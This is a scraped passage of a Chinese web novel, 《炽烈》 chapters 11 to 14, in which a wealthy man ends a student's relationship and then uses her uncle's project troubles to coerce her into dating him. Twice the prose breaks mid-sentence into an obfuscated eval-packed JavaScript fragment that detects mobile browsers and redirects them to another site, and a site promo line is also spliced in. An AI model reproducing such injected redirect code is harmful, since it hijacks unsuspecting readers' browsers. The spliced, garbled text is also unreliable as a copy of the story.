陈静安撑着一只手臂,有些艰难地从床上坐起来:“我想回学校。” “现在十一点。”言外之意就是绝无可能。 “我知道还有夜间航班,现在去机场还来得及,我已经好很多。”说着陈静安想要叫来护士,替她拆针。 沈烈才抬起头,合上电脑:“想要发泄情绪的方式有很多种,扔东西怎么样?如果你觉得这间病房里的东西不够贵重,丢的不够过瘾,我可以叫人买些来。” 他当她只是闹脾气。 或许是,但陈静安更多是没办法跟他在一起,在知道他做过什么,每一秒都让她忍不住难受,忍不住憎恶。 她就像是被摆弄的木偶,半点由不得她。 陈静安冷着脸,问手机在哪? 她的手机在沈烈身前的茶几上,包里进了水,里面的东西全被拿出来晾干,手机,气垫,口红唇膏,一只小巧的女士钱包——秦宜年送的,学生证,几张银行卡,纸巾已经湿透被丢掉,除此之外就没了。 沈烈没有要给她的意思,长腿交叠,目光没什么波澜:“如果不够,我可以让人将秦二叫来,想打想骂随意。你不舒服,他也不该过得太舒心。” 听到秦宜年,陈静安忍不住皱眉,几乎是没办法避免想起他跟前女友相拥的画面,生理性的恶心。 陈静安一言不发,她掀开被子,从病床上下来,推着输液架,要来拿手机,起太急头晕,还未走过来,手机屏幕跟着亮起,有电话打过来。 沈烈轻瞥:“秦二。” 陈静安迈步的动作停下,怔愣片刻。 沈烈问:“这电话,是你接,还是我接。” “挂掉!” “哦。”沈烈意会般颔首,“我接。” 说着他放下腿,身体前倾,陈静安神色慌张,想抢过手机,但慢一步,沈烈在她之前拿起手机,她慌乱下摁住的是他的手,她只想挂掉电话,顾不上其他,想掰开他的手指,拿出手机。 但她只有一只手。 沈烈另一只手,轻松抽出手机,他拿过,铃声一直在响,陈静安双目猩红,鼻翼抽动,她恨恨瞪了眼沈烈:“我自己接。” 手机贴着耳边,秦宜年的声音从手机里传出来。 “静安,在做什么?今天京城是不是很冷,你啊不要穿太少,换季时多流感,你别生病了。” 眼泪毫无征兆地从眼眶下掉下来。 “静安?静安你在吗?”许久没听到声,秦宜年问。 陈静安擦干脸,回:“我在。” 鼻音有些重,秦宜年感觉出来,问她是不是感冒,有没有去过医务室吃过药,一如既往的细致温柔,如果不是亲眼看到,她真的没办法相信,秦宜年会劈腿。 他怎么做到,一边跟前女友相拥,一边对自己嘘寒问暖,关切备至,甚至,带她去见秦元明,信誓旦旦要跟她结婚。 她不明白,真的没办法明白。 “你是不是生气,生气我不让你过来?”秦宜年感觉到电话那边的情绪不太对劲。 陈静安与沈烈目光对视,暗色眸底,偏冷,寂静,无形中又像有什么东西牵动着,可以轻易摄取她的想法。 “我没生气。” 陈静安语气冷静的过分:“秦宜年,我们分手吧。” “分手?为什么分手?静安,你不会是同我开玩笑吧。”秦宜年不明所以。 “我认真的。” “秦宜年,我们结束了。” 没有预想中的歇斯底里,没有撕破脸的难堪,异常平和果断,她挂掉电话,知道秦宜年会不甘心再打过来,她直接关机。 沈烈垂眸轻哂,秦宜年今晚大概不会好过,他能猜到原因,却也会抱着侥幸心理为自己开脱,然后设想各种可能,但无处求证,他今晚都将在煎熬中度过。 不得不说,挺狠的。 他的兴趣反倒更浓。 做完这些,陈静安也不再提出要回校,她花光力气只觉得累,这时候又恢复成以往的陈静安,礼貌有教养,跟沈烈说了声抱歉,说自己想要睡一觉,医院的钱她会还,虽然VIP病房并不便宜,但一晚还是负担得起。 沈烈看着她走向床边,掀开被子躺卧进去,仍然是转过身,背对着她,她也真的过瘦,曲起身蜷缩时也只有一点。 病房里寂静无声。 沈烈也忘了看多久,眸光有微动,只是片刻,一闪而过,时间短到他都未察觉。 — 电话被挂断,秦宜年如遭雷击,他隐约猜出原因,心里想或许陈静安知道他跟徐若晴的事,但怎么会,他们的事没几个人知道,陈静安怎么会知道,从哪里知道,或许是这段时间异地,他陪她时间太少所以生气,或者前几天,他抛下她离开……秦宜年发疯在想各种可能原因,他再次打过去,陈静安却已关机。 不是闹脾气,陈静安的性格他清楚。 秦宜年联系不到陈静安,只好打电话给阮灵,从阮灵的口中才知道陈静安来了滨城。 下午到的。 秦宜年才明白,陈静安是看到了。 阮灵在那边问他是否真的劈腿,他下意识矢口否认,恍惚中挂电话。 秦宜年知道陈静安还没回学校,多半人还在滨城,他让朋友帮忙查航班,确定陈静安的确没回去,可人现在在哪?这么大的雨,她有没有事? 他让朋友找人,无异于大海捞针。徐若晴指间捏着根女士香烟,冷眼看他发疯,烟雾徐徐中开口,说人大概在医院。 “哪个医院?”秦宜年过于着急,甚至没质疑她从何得知,得到确切地址后,拿过外套跟车钥匙离开。 徐若晴将半根烟掐灭,她重新坐在画架前,审视已经上色一半的画作,突然不满意,重新调色,拿过笔刷起来,企图将原本的颜色彻底掩盖。 同时,秦宜年跌跌撞撞赶去医院,得到护士指路后快步走去。 他不断在心里措辞,解释他跟徐若晴在一起的原因,他内心悔恨,必将赌咒发誓再也不会犯同样的错误,只要陈静安愿意再给他机会,他做什么都愿意。 半夜,病房走廊里无人,凄黄的灯光,森白的墙面,秦宜年忧心如焚。 秦宜年注意着病房号,很快,陈静安的病房在前面那间,他欣然又无措,心情复杂,步子也随之慢下来,在想如何开场。 病房却被推开。 一个高大身影走出来,秦宜年怔愣在原地,沈烈同样看见他,面色平静,不声不响地合上门。 语气冷淡:“静安已经睡着,有什么事明天再说。” 静安。 他叫她静安? 为您提供大神 今雾 的《炽烈》最快更新 11. 第11章 免费阅读.[www.aishu55.cc] 12. 第12章 秦宜年有些傻眼,他想不出其中联系。 沈烈为什么在这?在陈静安的病房,且称呼亲昵,又在晚上,他很难不想到点什么。 “沈总,你怎么在这?” 外套搁在病房内,沈烈没穿,折腾到半夜,衬衣也没有不该有的折痕,依然光鲜,他想抽烟,想起在医院,于是打消念头反问:“很奇怪?” 似笑非笑。 秦宜年克制着暴走情绪,冷着嗓音说要见陈静安,沈烈不紧不慢往前踏一步,挡着路。 “我说了,她睡了。” “别挡路。”秦宜年咬牙。 “秦总倒是赶时间。”沈烈垂眼,扯过他领口,领口位置上蹭上的口红,脖颈位置上的痕迹或轻或重,甚为扎眼,“就急到身上的荤腥都来不及处理,你觉得合适吗?” 秦宜年有所反应,本能扯回领口,他迫切地想系上扣子,就好像藏起来,就真能当无事发生,他没看沈烈:“这是我跟静安的事。” “以前,或许是。” “什么意思?” 沈烈却并不作解释。 秦宜年握紧拳,隐忍克制地皱眉,他想动手,但也太多利益牵扯捆住他手脚,他知道自己处在什么位置,沈烈又在什么位置,这世界本就不公平,有的人生在顶端,有的人从出生起就低人一等。 拳头握紧又放开,他想掉头离开,却瞥见张望的护士,又觉得自己窝囊可笑,倏地转身,冷不丁质问:“你们什么时候搞在一起的?” “先生,这里是医院,请你注意说话音量。”护士的声音从身后飘过来。 沈烈抬手,轻笑,示意他来处理。 “你们在一起多久?” “两年,怎么?” “两年,你就这么看她?” “不然呢?半夜你从他病房里出来,我应该怎么看?”秦宜年觉得挺讽刺,他当初追了陈静安大半年,他们认识才多久? 沈烈笑:“你呢,又是从哪出来?” “这是我跟她的事。” 秦宜年神情有隐隐不耐:“说啊,什么时候,是调我来滨城之前,还是之后?我倒是不知道沈总品味独特,有用二手的癖好。” “二手?”沈烈微不可微的抬眉,“你们秦家倒是好修养。” “不是吗?我跟陈静安在一起两年,你要是有这个意思你早说啊,何必兜这么大圈子,等我玩腻了,不是不能给。” 秦宜年抬手擦唇,是掩饰不了抖动,他感觉到自己被愚弄,被恶心,他所做的一切都变得情有可原,不止他一个人犯错。他想到那天晚上,他带陈静安见大哥,那时候就开始了吗?当着他的面,暗通款曲? 他控制不住地在想,陈静安在沈烈面前是什么样子,温柔、体贴、或者完全相反? “你们搞一起多久了?进行到哪一步,接过吻还是上过床了?” 先回答的是病房推门声。 陈静安穿着病号服,液已经输完,手背上留着针跟绷带,走廊上惨白的灯光照在她身上,脸色也不会好多少。她缓慢眨着眼睛,到最后才聚焦到秦宜年身上,她其实没睡,她睡不着,躺在病床上枯熬。 那些话,她一字不落的听到了,陈静安第一次觉得人难过到一定程度,反而不难过了,眼眶里是干涸的,在没有半点东西。 “静安。” 这次,秦宜年是是真的心慌,看见她现在的样子,他那点底气消失殆尽,他怎么会不知道陈静安的为人。 “对不起,你跟我提分手,我完全乱套,那些话你别当真,我真是糊涂了才说出来的……” 陈静安走过来,走到他面前,直接了断甩过一巴掌。 “滚。”声音嘶哑。 这一巴掌,两个人之间最后点微妙联系也断了。 秦宜年偏着脸,舌头抵过被打的位置,没说完的话吞咽回喉咙,像是以前卡住鱼刺,痛意并不明显,却难以忍受,再用力往下咽,有的只是灼烧感。 事已至此,再说什么呢? 陈静安眨眼,重复:“你滚。” 护士适时地上前,拉走秦宜年,说着时间不早,这边谢绝探访,让病人好好休息。 陈静安看着秦宜年的背影,直至消失在角落。 结束了。 他们之间彻底结束。 好半会,陈静安转过身,往回走,沈烈依然在远处,气定神闲,他永远这样,不动声色游离在外,只要动下手指头,就能编排出一场好戏。他这样的人,应当去当导演的。 “杀人诛心,沈先生这次可满意了?”陈静安问。 沈烈一向不掩饰,回:“力道轻了。” 陈静安忽然莞尔一笑:“沈先生,我也不想见到你。” 言外之意,你也滚。 陈静安走进病房,关上门的同时脸也彻底冷下去,她背靠着门发了好一会呆,眼睛已经适应黑暗才走向病床。 门外的沈烈有些意外地抬了下眉,片刻后扯动唇,笑意很深,他没有进去,尽管知道病房无法反锁,外套没拿,但带了手机,打给司机的同时拔腿下楼。 司机接到电话时,人在医院附近的酒店,以为有事,条件反射翻身从床上起来,作势要出房间下楼。 的确是要下楼,需要再开一间房,给老板的。 他愣了下,病房里有张沙发床的,以为沈烈是住不习惯,却听老板慢悠悠道:“没办法,有人让我滚。” 谁? 病房里就两个人,能有胆子让沈烈滚的,似乎也只有那位陈小姐。 “……” 但司机怎么觉得老板不仅不生气,反而挺高兴? 竖日一早。 病房里已经人去楼空,医院里告知陈静安缴纳了医药费跟住院费,人已经走了一个小时。 司机下楼将情况如实转告,沈烈翻动着文件,一页接着一页,并不意外,她如果还在就不是陈静安,他懒散地撑着眼皮,让开车回京城。 — 分手并不比想象中难熬,陈静安表面平静,连阮灵都气到咒骂秦宜年好几天,当事人反倒安慰她,阮灵也跟着哑火,之后默契地不在提起这个名字,就好像没这个人,一切归于平静。 陈静安感觉分手更像是阵痛,毕竟在一起两年,去过的地方做过的事太多,她会突然想起来,却又要假装无事发生。 但能让她喘口气的,沈烈也没再出现。 陈静安有些庆幸地想,他或许对自己已经失去兴趣,又或许他从开始的兴趣只在于将她的生活搅动的天翻地覆,他已经做到,自然丧失兴趣,转而去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|9293672|94205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寻找其他乐子。 她在努力恢复正常生活,上课练习,去看望老师,偶尔有联谊活动,跟师哥师姐吃饭聊天,向父母报备生活,跟普通大学生没有半点区别。 陈母会每周习惯性跟女儿视频,询问学习情况,缺不缺钱,但今晚,陈静安明确感觉到母亲脸上的倦意,撑着脸,笑容也很勉强。 “最近很忙吗?”陈静安关切问。 陈母摇头笑笑:“没有,可能是没休息好。” 陈静安起初也并未在意,但多聊几句,发现母亲似乎不在状态,追问几句后,陈母摘下眼镜,揉了把脸,然后重新戴上,又恢复平日里温婉模样:“真没什么事,你一个小孩子,不要总操心那么多。” “妈,我成年了。” 陈母闭了闭眼,叹口气:“是你舅舅的事,不是什么大事,就是麻烦了些,有些费神。” “舅舅怎么了?工地上的事吗?”陈静安拧眉。 舅舅贺颂文一直未婚,拿她当自己孩子疼爱,两个人不过相差十二岁,关系反而更像兄妹,她小时候总爱黏着他。 “你就别问了,都是大人的事。” 父母不愿意说,陈静安只能问舅舅,得到的都是同样的回答。 贺颂文听她有些生气,笑着说:“真没什么事,你舅舅你还不知道么?我这几天会到市区,顺便来看看我们家的大音乐家。” 听贺颂文语气轻松,陈静安也没再多问。 真正知道是几天后,贺颂文跟陈静安约在学校附近的餐厅吃饭,贺颂文捏着她的脸说瘦了,点上一大桌菜。饭没吃一会,贺颂文手机一直在响,他让陈静安先吃,自己起身去接电话。 “大家都是混口饭吃,我也做了这么多年市政工程,不说老人,也算有些资历,林哥,这事不该这么做。” “我知道,有问题的地方我改,但总揪着我不放,是不是就有些故意了?吃饭请过多少次,这工程卡在这,我怎么交差?” “您帮个忙成不成,这人情我就欠下了。” “……” 贺颂文挂掉电话,转身,看见陈静安,轻嘶一声点她的额头:“什么时候养成偷听电话的毛病?” 陈静安问:“所以是工程的事?” 见瞒不住,贺颂文就简单说几句,他前两年接了京城郊区污水处理项目,眼看着完工,却卡在验收的环节,监理是油盐不进的主,挑各种问题毛病,他做工程这么久,知道对方有意搞事,工程又在这时候被多次举报,各种审查。工程验收不了,工程款下不来,各处需要钱。 “搞工程的,都正常,你也不用多想。我这次来,也是找人帮忙。” “有门路吗?” 贺颂文给她夹菜,不再多说:“大人的事小孩别管。” “又来。”陈静安握筷叹气。 饭吃完,电话又打来,这一次,贺颂文倒不避着她了,电话里陪着笑脸说尽好话,最后对方给他一个号码。 “记下来。” 贺颂文拿出随身带的纸笔,写下:“姓沈,沈先生。” 陈静安手一抖,筷子夹起的青菜掉回碗里,熟悉的感觉让她整个人颤栗,仿佛沈烈就在眼前,斯文儒雅,拉开椅子在她对面坐下,双手合掌,愉悦地告诉她游戏还未结束,他还没玩腻。 第13章 “沈先生,哪位沈先生?”陈静安脸色不好,她握住桌角,竭力想要保持冷静些。姓沈的有很多,不一定就是沈烈。 贺颂文挂掉电话:“问这些做什么,舅舅的事舅舅自己处理。” 说着收起记事本跟笔,又撑着桌面,专心给她夹菜,嘴里念着要多吃些肉,女孩子胖些健康也好看:“你跟那个姓秦的男孩子还谈着呢?” “分了。”陈静安愣了下,还是平淡回答。 “分了?”贺颂文板起脸,问:“他提的你提的?” “我。” 贺颂文这才满意笑笑:“那就没事了,我之前就没看上,我们家姑娘是个顶个的好,是那小子高攀。” 陈静安脸上才有些笑意:“舅舅,我就这么好吗?” “那当然,谁都配不上,以后再谈得让舅舅把把关。”贺颂文撑着椅子侃大山,短暂将身后乱七八糟的事全抛了,又给自家姐姐打视频,跟陈静安在一个镜头里,让她放心,自己姑娘好着呢,一顿饭,忽视掉那几通电话,还算吃得愉快。 吃完,贺颂文送陈静安到校门口,他挥挥手,示意陈静安先进去,走几步陈静安回头,看着舅舅已转过身,又在接电话,低头弓背,不用听就知道又是在求人,一脚深一脚浅地走过马路。 送别贺颂文,陈静安才往校内走。 虽然贺颂文一直说他的事不用她操心,但她做不到无动于衷,还是想尽自己能力做点什么。 陈静安想很久,她只是个普通学生,既无地位也无人脉,思来想去,能找的只有老师周正卿,周正卿在一行深耕多年,认识的人比她多,只是老师刚动完手术需要静养,她却拿着这种私事去麻烦老师。 光有这个念头,她都感觉到羞耻。 这几天贺颂文并不好过,他来找关系打点,酒局一个接一个参加,每次都是喝到吐,平时都装没事,直到喝烂醉时才会露馅,他当了多少孙子,连都快笑烂了,结果没一个肯点头,再欠下去,工人闹事,材料商催款,工程不能按时交付……一件件压下来,想死的心都有了。 陈静安全都看在眼里,心焦如焚。 她没脸求老师帮忙,结果还是被老师看出来,让弹的一首《塞上曲》,她弹得乱糟糟的,到一半就叫停,问她是不是有什么事,她只好和盘托出,周正卿听完倒气笑了,责怪她不早些说。 “这事我找人看看,你专心练你的,心不静,白糟蹋谱子。” 在这几天后,贺颂文突然见上那位沈先生,搭线的人笑道:“你要有这关系该早点说的,哪里用得着我,我这几天上下奔走,还不如别人一句话管用。” “什么关系?”贺颂文愣了。 对方瞥他一眼:“周正卿啊,他跟沈孝诚多年好友了,你今晚要见的那位,沈津,他的小儿子。你这事,稳了。” 贺颂文听周正卿名字就知道是自己外甥女帮忙,心里跟压块石头似的,低头摸烟盒,给对方递上一支烟,自己侧身走去角落位置抽起来,一根接着一根,走时,脚底一圈烟头。 当晚,又不可避免的烂醉一场。 贺颂文不知道这事能不能行,那位沈先生很擅长玩弄文字,说的话滴水不漏,让人熨帖,但回过味,又什么都没说,帮还是不帮,并没有直说,比起那些直接狗仗人势坐地起价的人又不一样,他全程没有受到半点侮辱轻视,如果不是事压着,倒真像是在交朋友。 后来又想,人家姓沈,自然是外面那些人所不能比的。 贺颂文喝得面红耳赤,头昏脑涨,自己走不了,得靠人扶着才往车停的方向走去。 身后,远远立着两道身影。 沈津将外套搭在小手臂上,在看到贺颂文上车后,才收回视线,推动架在鼻梁上的眼镜,轻啧一声:“我说,哥,你是不是有点太没人性了?” 身边的人并无应声,抬手看腕表上的时间。 “说真的,追女孩不是这么追的,你这种是要被叫变态的,”说完,觉得自己很对,好奇问:“诶,她有没有说过你变态?” 变态。 没有,但骂过混蛋。 沈烈斜乜他一眼:“今天不够你说的?” “那不一样,而且是你请我过来的,人前脚刚走,后脚你就卸磨杀驴?我这也是关心你,我这做弟弟的也是不容易,之前你身边一直没人我担心来着,生怕蹦出个姐夫,现在吧,更担心了,哪天让我见见,看谁这么倒霉。” “……” 沈津在沈家排行老幺,年纪小,男生女相,清俊的很,很受家里长辈宠爱,什么都不错,只一条,话痨一直没法根治。 贺颂文的事,他清楚来龙去脉,也有他的一份,没办法,沈烈破天荒叫他做件事,做弟弟的怎么能推辞。 事虽然办了,但该谴责的一句不少。沈津都觉得挺吓人,沈烈做尽一切背调,清楚贺颂文工程从头到尾发生过的大小事故,各环节负责人,算准陈静安会找周正卿帮忙,而周正卿性格刚正,很少求人,这种事,他也只会向自己好友沈孝诚开口,最后这事顺其自然再交到他手里。 整个过程,并无偏差。 正常人谁这么追姑娘? 沈烈眼皮轻掀,闲闲地开口:“那位小姐姓什么,舒?需要我帮忙吗?” 沈津猛地睁眼,激起一阵冷汗,连声叫着哥:“我的心就不劳您费心,弟弟我就是想谈个普通恋爱。” 车已经开过来。 “开门?”沈烈缓声道。 沈津应声,小跑过去,打开车门,做个请的姿势:“哥,请坐。” — 陈静安在贺颂文入住的酒店前等着的,她知道他今晚又出去应酬,带着打包的醒酒汤跟醒酒药,她打过电话,贺颂文口齿不清说回来了,又笑了几声,说没事了,让她以后别再跟着操心。 车停在酒店门口,却不是贺颂文那辆,车牌一扫而过,数字顺的有些奇异,顾不得多想,她迎上去。 贺颂文推门下来,身体不能很好自控地晃着,她上前去扶着,贺颂文认出是她,咧嘴笑笑:“我没事,多喝了一点,就一点。” 烟酒味熏天,不用猜就知道喝了多少。 陈静安没多说,她知道喝多喝少根本由不得他,又想起他说没事了,事已经办成,也松口气,不管怎么样,这件事总算能告一段落。 刚往前走一步,主驾驶的车门被打开,对方下车,力道挺重地关上门,然后绕过车头,停下脚步,目光看着有些吃力搀扶着贺颂文的陈静安,略笑了下,打招呼:“陈小姐,好久不见。” 认出是谁,陈静安僵在原地,犹如雷击。 该怎么形容那种感觉,好像世界颠倒,建筑倒塌湮灭,洪水肆虐……内心翻江倒海,陈静安却近乎执拗的板着脸,表面上的平静,她僵硬地转过脸,继续往前走,吃力地笨拙地挪动。 就如同,沈烈的司机并没出现,而沈烈,这个人,更不会在一切都朝着好的方向发展时突然冒出来。 陈静安没有任何回应。 司机看着她的背影,交叠着双手,声量不大不小:“陈小姐,我在楼下等您,沈总有几句话带给你。” 脚步一顿,陈静安还是走进酒店大门。 陈静安看着贺颂文喝汤吃药,他摆手让她早点回学校,自己胡乱洗漱把倒头睡下,她将桌面清理干净,又坐了片刻,最后起身关门离开。 楼下,司机仍在那。 陈静安开门见山地问:“沈烈到底要做什么?我舅舅的事,是不是也是他做的?” 司机并没有顺腔接话:“陈小姐,沈总建议您让贺先生别再四处求人,喝酒到底伤身,他现在只要等消息就好。” “等消息,等什么消息?” 司机却没说。 陈静安偏头,看着夜色,恍惚明白这网从来就没有挣破,它在那,一直在那,只是悄无声息,让她侥幸以为自己早已脱离。 这张网或紧或松,全由沈烈决定,她只是进网的飞虫,早已安排好结局。 “他一定要这么逼我?”陈静安问。 司机说了句抱歉。 陈静安转过头来,目光如刀,问:“您难道就没有孩子吗?” “抱歉。” “您孩子知道您在外面做这种事吗?” “抱歉。” “……” 她面色如纸,怎么会不明白司机那句话的意思。 等消息,自然是等她的好消息,等她想通,亲自登门求人。 求人办事,都是有代价的。 司机道:“陈小姐,我也只是听人办事。” 陈静安垂眼,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|9295326|94205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又何尝不知道,静默好一会,她才道:“好,我要见沈烈。” “抱歉,沈总这几天没时间,等过几天,会有人通知小姐您的。” “……” 陈静安感觉到自尊心一再被捻碎,她恨得要命,一切都是沈烈说了算,全由他掌控,她只有被牵着走的份。 一个人,怎么能混蛋成这样? — 告知陈静安时间的是纪弘,时间以及地点,地点在出名的富人区,独栋别墅,绝佳的私密性。去之前,陈静安告诉给阮灵,如果她太久不回消息就报警,虽然觉得沈烈做不出那种事,但还是不得不防备。 阮灵不放心她,想陪着,被陈静安回绝,她担心阮灵再次被牵连。 到了地址,早有人等着,带着她往里面走,到一栋现代新式别墅停下,刷卡打开大门,对方并不进去,告知她穿过庭院就到了,沈烈已经在里面等着她。 陈静安走进去。 阳光好到过分,照着绿植,照着玻璃白墙,明亮的像是在作假。 陈静安看见沈烈,他穿着居家服,长袖长裤,宽绰松软,但他肩线笔直,将衣料撑得挺括有形。沈烈在中岛台,腰间系着黑色围裙,跟平时穿正装的状态很不一样,更松弛,没那么强的距离感。 他在做饭? 意识到这一点,陈静安都觉得违和又奇异。 沈烈没抬眼,让她过去,他握着刀,手指骨节分明,刀下的和牛纹路漂亮,他将肉切成厚薄片,动作熟稔,刀跟肉在他手下服服帖帖,他将切好的肉一小半做刺身,三两片精致摆盘,放置早已调好的料汁,摆在她面前。 “尝尝。” 陈静安没动,不知道他又想要做什么:“沈先生还会下厨。” “因为比一些人挑剔些,为了满足口腹之欲,有时也会自己动手,图个新鲜,统共也没做过几次,也没其他人尝过,你是第一个。” 陈静安睫毛颤动。 “每一道食材都有合适的处理方式,也有最合适的品尝时间,”沈烈不紧不慢继续道:“这一份昨晚到的,在恒温恒湿冷藏28天,待到水份流失,肉质纤维足够紧密,就是最佳食用时间。” 他解释认真,好像请她来,只是吃饭。 陈静安猜不透他的想法,在他的注视下,用湿毛巾净过手,握着筷子夹起一片,轻蘸料汁送入口中,和牛刺生肉质细嫩柔软,脂香溢于唇齿,清甜甘润。 “怎么样?”沈烈问。 陈静安勉强点头。 她不知道自己该作何反应,她不是来吃饭的,而他们之间的关系也不适合这样。 沈烈笑,又取来米饭手握成团,盖上一片薄肉,用喷枪炙烤片刻,摆盘过后,继续递到她面前,做了个请的姿势。 陈静安皱眉,再次夹起吃掉,米饭吸收进炙烤时的油脂,又是另一番味道。 顶级的食材,处理方式反倒越简单朴实。 沈烈洗净手,又再次处理起其他食材,边处理,边跟陈静安聊起处理方式,以及烹饪方法,他处理的手法干净利落,称得上赏心悦目,每一种食材,在他这里都得到足够的尊重,他不厌其烦地处理每一个繁杂的步骤,整个过程甚至是享受。 他像是刽子手。 一个有耐心的刽子手,只会让人觉得恐惧。 所以在沈烈处理食材越得心应手,越条理步骤清晰时,反而胸口如堵,她变成砧板上的肉,任人宰割,生吃还是炙烤,全凭他的心意。 陈静安本就没什么胃口,吃的东西顶着胃,她坐立不安地放下筷子,耐心早已经被磨完,她不得不问出今天的目的:“沈先生,你到底要怎么样才肯放过我舅舅?” 沈烈正处理着海参,刀背轻敲其腹部,没一会,内脏全吐出来,这是它们自保的手段,迷惑敌人,逃脱后,又能重新长出来。 他闻言抬眼看她,眉眼干净,眸底一片坦荡:“你应当清楚。” “我想听你说。”陈静安脸上没什么血色,胃里翻涌难受。 “做我女朋友。” “什么样的女朋友?”她语气讽刺。 沈烈放下刀,慢条斯理脱手套:“可以牵手、拥抱、接吻,跟其他人女朋友一样,至于其他样子,或许是我年长你几岁,不知道如今女朋友,还能有什么新鲜的含义。” 第14章 陈静安已经见识过他的手段,现如今更惊骇他的不要脸,他大概有自己的一套逻辑,在他的逻辑里,只有他是人,其他人又算什么东西,他们愿意还是不愿意,谁在意。只要他想要,就必须得到。 沈烈对于她,绝不是喜欢,怎么会是喜欢呢。无非是见着路上的花开得繁盛漂亮,单纯想要据为己有的占有欲,所以他宁愿折断,即便这花活不过一天。 没所谓,死了就丢掉,永远会有下一个。 她是什么,一个东西、一件物品罢了。 “你不觉得自己很无耻吗?”陈静安凉凉地问。 沈烈看着她,缺乏共情的眼睛里,什么也没有:“如果这样会让你好受些,可以当我也这么认为。” “……” 其实无意义的问题。 难道作恶多端的人,真的会认为自己在做坏事吗? 房间里安静下来,两个人谁都没说话,没有刀切煎烤食物的声音,细听,所有声音都只来自室外。陈静安慌乱焦躁,如果可以这里她一刻也不想待,但她不能。她看到餐桌上放着的烟盒跟银质打火机,盯好久,问他自己能不能试试? “可以。”沈烈有些意外,“但不是女士烟,口感会更醇烈,你第一次,应该不是什么好的体验。” “我还是想试试。”陈静安坚持。 沈烈没阻止,他看着陈静安摸过烟盒,抽出一支烟,像模像样地放在嘴边,然后点燃,烟头燃气的那一刻,她有些恍惚,睫毛颤动,然后近乎笨拙地猛吸了一口,烟雾入肺,又被狠狠吐出来。 她被呛到,抓着台面,开始剧烈咳嗽,像是要将肺部里,残余的烟气一并给吐出来。 沈烈递来一杯水,她的反应,不难猜到。 陈静安抓着杯子灌水,喉咙里烟熏火燎的气息才有所淡去,她咳得面红耳赤,手里捏着的那根烟,被沈烈拿过去,摁灭在烟灰缸。 的确不是什么好的体验,足够让她一辈子敬而远之的教训。 平静缓和许多后,沈烈问:“想看看这吗?” 陈静安摇头,后点头,比起继续吃饭,听他讲料理知识,她宁愿去看房子。 沈烈带着她到前院,草皮是新植的,一些花草也是新栽,这房子在他几年前就入手,一直空着没怎么住过,心血来潮后被翻出来,重新整修。一楼其实没什么可看的,客厅几乎占据全部面积,上二楼,走廊最末的房间推开,是音乐房,设备一应俱全,墙壁上挂着几支琵琶,陈静安认出来,全是最顶级的,有市无价的珍品。 琴凳后是落地窗,窗帘被拉开,露出天色将晚的黄昏,红日悬落,昼日将与星夜交接。 满屋子的堆金砌玉,陈静安只感觉到脊背发凉,还是问:“能收集这么多,沈先生应当花了不少时间。” “不算久,但的确也不容易。”沈烈似是而非地回。 陈静安太清楚,就算沈烈再神通广大,这些也不是几天时间里就能办到的,再快,也要几个月时间。 而他们,从第一次见面,那次演出算,也不过两个多月。 也就是说,他从第一天开始,就预想到会有今天。 “可以试试。”沈烈道。 陈静安摇头说不用:“被我这种资质弹,是一种浪费。” “再贵的琴也是拿来用的,不用,反倒没有任何价值。” 陈静安还是没有弹,她甚至没有进去。沈烈带她继续去其他房间,一间卧室,独立的衣帽间,全是没拆下标签的衣服,长裙旗袍礼服多到应接不暇,配饰、鞋子、包包……洗手间台面,是种类齐全的化妆品,全都未开封。 这些,全都等待着即将入住的女主人。 她回味过来,笑容勉强:“这是沈先生打造好的金丝笼吗?” 沈烈不这么理解:“只是方便你过来住,住一天,几天都无所谓。” “我不太了解你的喜好,只好什么都让人准备一些,你有什么喜欢的,也可以提,再让人买。” “沈先生。” 陈静安叫住他:“我没有同意。” “我知道。”沈烈抬眸,“时间不早,我找人送你回去。” 没有再问,也没有逼迫,有的只是展示他早已准备好的牢笼,在她惴惴不安时,突然戛然而止,平淡友善地说她该回去了。 陈静安没有松口气,反而要在其中溺毙。 她没有说话,听沈烈打电话给司机,等司机时,落日已经彻底消失,刚才还算明亮的天空,似乎顺间就黑下来。沈烈打开灯,几分钟,车已经到大门,她礼貌说声再见,一个下楼,越过庭院。 陈静安知道沈烈在看她,那道视线有着难以忽视的存在感,就要推门时,还是忍不住回头。 沈烈在阳台,身后的灯全被打开,过于的璀璨刺目,两个人视线短暂的相交,又很快错开,沈烈已经转过身,灯一盏盏地熄灭,归于死寂一样的黑暗。 这突如其来的黑暗,仿佛笃定她再无任何反抗之力,那样彻底跟果决,比任何热烈喧嚣都要让人惧怕。 陈静安上车。 阮灵打来电话,她接听贴在耳边,听见电话那边谢天谢地的呼气声,阮灵问有没有发生什么,有没有被欺负,他提出什么条件。 问题很多,陈静安不知道从哪一个开始回答,也没力气,只说回来后再说,阮灵听出她声音里的倦意,温声安抚。 第二天,贺颂文打电话,说工程那边的事解决了,夸赞那位沈先生是好人,也谢谢她老师周正卿,这次能度过去,多亏他帮忙。 陈静安却怎么也高兴不起来,如果不是她,舅舅甚至都不会遭遇这无妄之灾。 接着的几天,又是风平浪静。 但陈静安已经知道悄无声息并不代表结束,她被这种沉默击垮,仿佛在沉默中,又出现因她遭殃的人,下一个会是谁,老师,还是爸妈?陈静安不敢深想,被无形惧意笼罩着,她表面再平静,也无法掩盖她已经走到崩溃的边缘的事实。 在这场心理博弈战中,她输得彻底。 